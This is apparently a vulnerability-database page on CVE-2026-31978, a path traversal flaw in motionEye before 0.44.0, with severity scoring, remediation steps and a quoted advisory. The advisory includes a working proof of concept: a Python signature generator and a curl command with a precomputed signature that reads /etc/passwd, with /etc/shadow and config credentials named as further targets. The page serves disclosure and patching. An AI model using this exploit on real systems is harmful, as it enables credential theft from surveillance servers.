Skip to main content

motionEye EUVDEUVD-2026-39078

| CVE-2026-31978 MEDIUM
Path Traversal (CWE-22)
2026-06-22 https://github.com/motioneye-project/motioneye GHSA-g9fx-5r4h-pcw3
6.5
CVSS 3.1 · Vendor: https://github.com/motioneye-project/motioneye
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate with any motionEye credential (or use default empty admin password)
  2. Delivery
    Compute static HMAC-SHA1 signature for traversal path using published PoC script
  3. Exploit
    Send GET /picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd with curl --path-as-is
  4. Execution
    Tornado passes raw %2F-encoded path unmodified to get_media_preview()
  5. Persist
    os.path.join() resolves traversal outside target_dir
  6. Impact
    Server returns arbitrary file contents to attacker

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires a valid motionEye user account at any privilege level (normal user or admin); completely unauthenticated access is not possible per the CVSS PR:L rating. Attackers using the default empty admin password do not need to know a secret - the HMAC-SHA1 signature for any given traversal path is deterministic and pre-computable, as demonstrated in the published PoC. The HTTP client must send the percent-encoded path without normalizing ..%2F sequences; curl requires the --path-as-is flag for this, and standard browser-based access would likely normalize the payload client-side. Exploitation against Docker deployments running as root (the default) exposes /etc/shadow and all filesystem files; non-Docker deployments running motionEye as a restricted OS user limit readable files to those accessible to that process account. The del_media_content() function is also missing the path traversal check, suggesting directory traversal for file deletion may also be exploitable, though the advisory's confirmed impact and PoC focus on arbitrary file reads.

Impact

The CVSS 3.1 score of 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) accurately reflects the network-reachable, low-complexity nature of the attack gated only by a valid user credential. The moderate numeric score understates practical risk for two compounding reasons: first, the default motionEye Docker deployment runs as root, making /etc/shadow and all other files world-readable from the exploiting process - transforming a confidentiality flaw into a potential full-system credential compromise; second, the default empty admin password means the HMAC signature for well-known traversal targets is pre-computed and static, reducing the real attack prerequisite to network reachability alone against default installations. EPSS data was not provided, so exploitation probability cannot be quantified from that signal. This vulnerability is not listed in CISA KEV at time of analysis; however, the published PoC, static default-credential signature, and root-process Docker default collectively make real-world exploitation straightforward. Instances directly exposed to the internet or in multi-tenant environments should treat this as a high-priority patch, not a moderate one.

Exploit ScenarioDerived

An attacker with any valid motionEye account - or exploiting the default empty admin password - computes the static HMAC-SHA1 signature for the traversal path and issues curl --path-as-is 'http://TARGET:8765/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin&_signature=8b387100a519c617bdd66fe629d14b05e09c6e0c', receiving the full contents of /etc/passwd in response. On a default Docker deployment running as root, the attacker repeats the request targeting /etc/shadow to extract root password hashes, or targets /etc/motioneye/motion.conf to recover the admin password hash and surveillance credentials in plaintext. A fully functional PoC including the signature generation script is published in the GitHub security advisory.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 22, 2026

Path traversal in motionEye v0.43.1 allows any authenticated user - including those with normal (non-admin) privileges - to read arbitrary files from the server filesystem via the picture and movie preview API endpoints. The root cause is inconsistent input validation: get_media_preview() and del_media_content() in mediafiles.py omit the .. sequence check that get_media_content() correctly implements, and the Tornado web framework passes percent-encoded slashes (%2F) through unmodified to os.path.join(). A fully functional public proof-of-concept demonstrating retrieval of /etc/passwd is published in the GitHub security advisory; no public exploit identified at time of analysis for CISA KEV, but the low exploitation complexity and pre-computable default-credential signature make exposed instances an immediate practical target.

RemediationAI

Vendor-released patch: 0.44.0. Upgrade via pip with pip install 'motioneye>=0.44.0'; Docker users should pull the updated container image pinned to 0.44.0 or later. Vendor advisory: https://github.com/motioneye-project/motioneye/security/advisories/GHSA-g9fx-5r4h-pcw3. If immediate upgrade is not feasible, restrict network access to the motionEye web interface (default port 8765/8766) using firewall rules or a reverse proxy with IP allowlisting - this eliminates network reachability and is the most effective compensating control, though it also restricts legitimate remote access. As a secondary hardening step independent of the patch, configure the motionEye process (and Docker container) to run as a dedicated non-root user; this does not prevent exploitation but limits the files accessible to the attacker, specifically blocking reads of /etc/shadow and other root-owned files. Additionally, setting a strong non-empty admin password removes the static pre-computable signature advantage, requiring an attacker to know valid credentials rather than relying on the default empty-password signature.

Affected VersionsENISA

motioneye < 0.44.0

Affected Packages

pypi motioneye fix: 0.44.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

motionEye is a Python-based web frontend for the motion surveillance daemon, built on the Tornado async web framework. The affected package is pip/motioneye (CPE: pkg:pip/motioneye), confirmed vulnerable at versions prior to 0.44.0. The vulnerability class is CWE-22 (Path Traversal), arising from an inconsistent fix pattern within mediafiles.py: get_media_content() (~line 506) validates that the caller-supplied path contains no .. sequences before passing it to os.path.join(target_dir, path), while get_media_preview() (~line 910) and del_media_content() (~line 865) perform the same os.path.join() construction without any such guard. Tornado's URL router does not normalize or decode %2F-encoded forward slashes, so a traversal payload of ..%2F..%2F..%2F..%2Fetc%2Fpasswd reaches the vulnerable function intact and is resolved by the OS path join to an arbitrary filesystem location. motionEye uses an HMAC-SHA1 scheme for API request signing; with the default empty admin password, the signature for any given traversal path is static and pre-computable without access to a secret.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/motioneye-project/motioneye) PRIMARY 6.5 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
vuln.today AI 6.5 MEDIUM

Network-exploitable via HTTP requiring only a valid user credential (PR:L); confirmed impact is file read only with no integrity or availability effect.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/motioneye-project/motioneye).

CVSS VectorVendor: https://github.com/motioneye-project/motioneye

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

DescriptionCVE.org

Summary

motionEye v0.43.1 (latest stable) is vulnerable to path traversal in the picture and movie API endpoints, like /picture/{id}/preview/{filename}. Neither the API handlers, nor the mediafiles.py functions like get_media_preview() check for .. sequences in the filename parameter, except get_media_content() which does. This allows an authenticated user with normal (non-admin) privileges to read arbitrary files from the filesystem as the motionEye process user.

Details

The get_media_content() function properly validates the path:

python
# mediafiles.py ~line 506 - SAFE
def get_media_content(camera_config, path, media_type):
    target_dir = camera_config['target_dir']
    full_path = os.path.join(target_dir, path)

    if '..' in path:
# <-- PATH TRAVERSAL CHECK PRESENT
        return None
    ...

But get_media_preview() does NOT:

python
# mediafiles.py ~line 910 - VULNERABLE
def get_media_preview(camera_config, path, media_type, ...):
    target_dir = camera_config['target_dir']
    full_path = os.path.join(target_dir, path)
# <-- NO '..' CHECK
    ...

Similarly, del_media_content() at line ~865 is also missing the check. This is a classic inconsistent fix pattern.

The exploit requires %2F-encoded slashes (..%2F..%2F) which Tornado's URL router does NOT normalize - it passes the raw ../ through to os.path.join().

PoC

Step 1: Authenticate as any user (normal or admin).

Step 2: Compute the request signature. motionEye uses HMAC-style signatures for API authentication. The signature is SHA1("GET:<path>?_username=<user>::<password>"). With the default empty admin password:

python
#!/usr/bin/env python3
"""Signature generator for motionEye path traversal PoC"""
import hashlib, re, urllib.parse

_SIGNATURE_REGEX = re.compile(r'[^A-Za-z0-9/?_.=&{}\[\]\":, -]', re.DOTALL)

def compute_signature(method, path, key=''):
    parts = list(urllib.parse.urlsplit(path))
    query = [q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True) if q[0] != '_signature']
    query.sort(key=lambda q: q[0])
    query = [(n, urllib.parse.quote(v, safe="!'()*~")) for (n, v) in query]
    query = '&'.join([(q[0] + '=' + q[1]) for q in query])
    parts[0] = parts[1] = ''
    parts[3] = query
    path = urllib.parse.urlunsplit(parts)
    path = _SIGNATURE_REGEX.sub('-', path)
    key = _SIGNATURE_REGEX.sub('-', key)
    return hashlib.sha1(('{}:{}:{}:{}'.format(method, path, '', key)).encode('utf-8')).hexdigest().lower()

path = '/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin'
sig = compute_signature('GET', path)
print(f'Signature: {sig}')
print(f'curl --path-as-is -s "http://TARGET:8765/{path}&_signature={sig}"')

Step 3: Send the request using curl --path-as-is (the --path-as-is flag is required - without it, curl normalizes ..%2F and collapses the traversal before sending):

bash
# With default empty admin password, the signature is static:
curl --path-as-is -s "http://localhost:8766/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin&_signature=8b387100a519c617bdd66fe629d14b05e09c6e0c"

Step 4: The server returns the contents of /etc/passwd.

Verified output:

<img width="1743" height="410" alt="etc_passwd" src="https://github.com/user-attachments/assets/30ec85f7-4fe7-4d3b-ae23-1d02c3ecad64" />

> Note on the signature value: The signature 8b387100a519c617bdd66fe629d14b05e09c6e0c is valid for the default empty admin password. If the admin password has been changed, regenerate the signature using the Python script above with the correct password passed as the key parameter.

Impact

An authenticated user (normal or admin) can read arbitrary files from the server, including:

  • /etc/passwd - user enumeration
  • /etc/motioneye/motion.conf - admin password hash, surveillance password in plaintext
  • /etc/shadow - password hashes (if running as root, which is default in Docker)
  • SSH keys, environment variables, and other sensitive configuration files
  • Surveillance footage from other cameras

Threat Intelligence Overview

EPSS Score
0.4%
Top 67% exploitable
Prevalence
Low
niche open-source webcam/NVR dashboard, limited deployments
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy